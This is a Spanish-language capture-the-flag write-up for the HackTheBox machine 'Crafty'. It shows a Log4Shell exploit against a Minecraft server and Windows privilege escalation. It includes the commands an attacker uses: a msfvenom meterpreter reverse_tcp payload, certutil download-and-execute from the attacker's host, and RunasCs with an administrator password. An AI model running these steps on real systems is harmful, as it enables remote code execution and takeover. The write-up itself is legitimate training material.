Page cover image

Crafty

  1. Escaneo de puertos con nmap.

nmap -p- -T5 -v 10.10.11.249

Se encontraron dos puertos abiertos
  1. Se realizó un segundo escaneo, esta vez especificando un rango de puertos.

Segundo escaneo
Un segundo escaneo que arrojo más información
  1. Agregar la dirección IP al archivo /etc/host.

Archivo /etc/hosts
  1. Se accedió a la página web.

La web asociada a la dirección IP
  1. Búsqueda de vulnerabilidades.

Existe una vulnerabilidad en el puerto 25565:

  • CVE-2021–44228: Un atacante que pueda controlar los mensajes de registro o los parámetros de los mensajes de registro puede ejecutar código arbitrario cargado desde servidores LDAP cuando la sustitución de búsqueda de mensajes está habilitada.

Fuente
  1. Se utilizó un exploit encontrado en el siguiente repositorio.

Exploit
  1. Clonar el repositorio.

git clone https://github.com/kozmer/log4j-shell-poc
El repositorio ha sido clonado correctamente
  1. El archivo poc.py, tiene una variable creada para la Shell de Linux, por lo que se deberá cambiar a "cmd.exe" para que funcione correctamente.

Cambiar la salida de la Shell
  1. Para que el exploit funcione correctamente, es necesario descargar un archivo java.

Descarga del archivo
  • Copiar en el directorio log4j-shell-poc:

wget https://repo.huaweicloud.com/java/jdk/8u181-b13/jdk-8u181-linux-x64.tar.gz
  • Extraer el archivo:

tar -xf jdk-8u181-linux-x64.tar.gz
  • Mover el archivo:

mv jdk1.8.0_181 jdk1.8.0_20
Archivo copiado
  1. Descargar pyCraft.

git clone https://github.com/ammaraskar/pyCraft
pyCraft
  1. Crear un entorno virtual para correr pyCraft.

virtualenv ENV
source ENV/bin/activate
pip install -r requirements.txt
Entorno virtual
  1. Poner un puerto a la escucha para capturar la Shell.

Puerto 4444 a la escucha
  1. Se configuró el servidor ldap. Ahora está listo para el uso del exploit.

python3 poc.py --userip <tun0 IP> --webport 80 --lport 4444
Servidor ldap
  1. En este punto, para lograr la Shell inversa, fue necesario descargar el launcher de Minecraft.

Enlace para la descarga
  • Al ingresar al launcher, se buscó la versión que tiene la vulnerabilidad: 1.16.5.

TLauncher
  • Una vez dentro del juego, es necesario configurar el servidor con la dirección IP de la máquina y el puerto vulnerable.

Configurar el servidor
  • Luego, ingresar al chat y escribir lo siguiente.

Enviar el código como un mensaje
  • Se obtuvo la Shell inversa.

Shell del objetivo
  1. Una vez dentro, se buscó la primer flag.

Flag del user
  1. Para obtener la segunda flag, es necesario hacer una escalada de privilegios. Dentro de la carpeta plugins, hay un archivo .jar. Para descargarlo es necesario utilizar metasploit.

Archivo .jar
  1. Para descargar el archivo, se utilizó la herramienta msfvenom.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=4244 -f exe -o expl.exe
Msfvenom
  1. En otra pestaña, configurar metasploit de la siguiente manera.

Comando para iniciar metasploit
Configuración de metasploit
  1. Iniciar un servidor python para entregar "expl.exe".

El servidor debe estar en el mismo directorio que el payload
  1. Ejecutar el siguiente comando. Este comando colocará "expl.exe" en la máquina destino.

certutil -urlcache -f http://<tun0 IP>:4245/expl.exe %temp%/expl.exe
start %temp%/expl.exe
Ingresar los comandos
Se consiguió la Shell en meterpreter
  1. Descargar el archivo .jar.

Archivo descargado
  1. Abrir el archivo con jd-gui.

Abrir el archivo con jd-gui
En el archivo aparece una contraseña
  1. En este punto, fue necesario utilizar una herramienta que permita ejecutar procesos con diferentes permisos.

RunaCS
  • Descargar la versión 1.5 "RunasCs.zip"

  • Abrir con unzip

  • Utilizar el archivo RunasCs.exe

  1. En otra pestaña, abrir msfvenom en el puerto 4246.

Msfvenom
  1. Subir los archivos "expl2.exe" y "RunasCs.exe".

Subida de expl2.exe
Subida de RunasCs.exe
  1. Abrir metasploit en otra pestaña y repetir los mismos pasos, solamente cambiando el puerto.

Abrir una consola con msfconsole
  1. Como último paso, obtener la Shell de administrador ingresando la palabra "shell" con el siguiente comando.

.\RunasCs.exe Administrator [contraseña] expl2.exe
Obteniendo la shell del administrador
  • Se abre una Shell en la sesión de metasploit. Ahora se puede obtener la bandera del root.

La flag del root

Last updated